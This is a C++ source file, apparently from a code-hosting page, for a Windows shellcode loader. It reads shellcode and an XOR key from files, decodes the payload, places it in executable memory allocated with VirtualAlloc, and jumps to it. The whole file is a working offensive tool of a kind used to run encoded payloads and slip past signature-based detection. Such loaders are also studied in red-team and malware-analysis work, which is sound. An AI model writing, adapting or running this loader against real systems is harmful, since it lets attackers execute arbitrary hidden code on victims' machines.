57 lines
1.4 KiB
C++
57 lines
1.4 KiB
C++
#include <windows.h>
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#include <iostream>
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#include "../shared/futils.hpp"
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#include "../shared/crypto.hpp"
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#define VERBOSE 1
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int main(int argc, char **argv)
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{
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if (argc != 3)
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{
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std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
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return 1;
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}
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#ifdef VERBOSE
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std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
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#endif
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auto shellcodeContents = ReadFromFile(argv[1]);
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#ifdef VERBOSE
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std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
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#endif
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auto key = ReadFromFile(argv[2]);
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#ifdef VERBOSE
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std::cout << "[+] XOR'ing shellcode" << std::endl;
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#endif
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XorCipher(shellcodeContents, key);
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auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
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if (!baseAddress)
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{
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std::cout << "[!] Failed to allocate memory" << std::endl;
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return 1;
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}
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#ifdef VERBOSE
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std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
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#endif
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std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
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#ifdef VERBOSE
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std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
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std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
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#endif
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__asm__("jmp *%0" ::"r"(baseAddress));
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return 0;
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}
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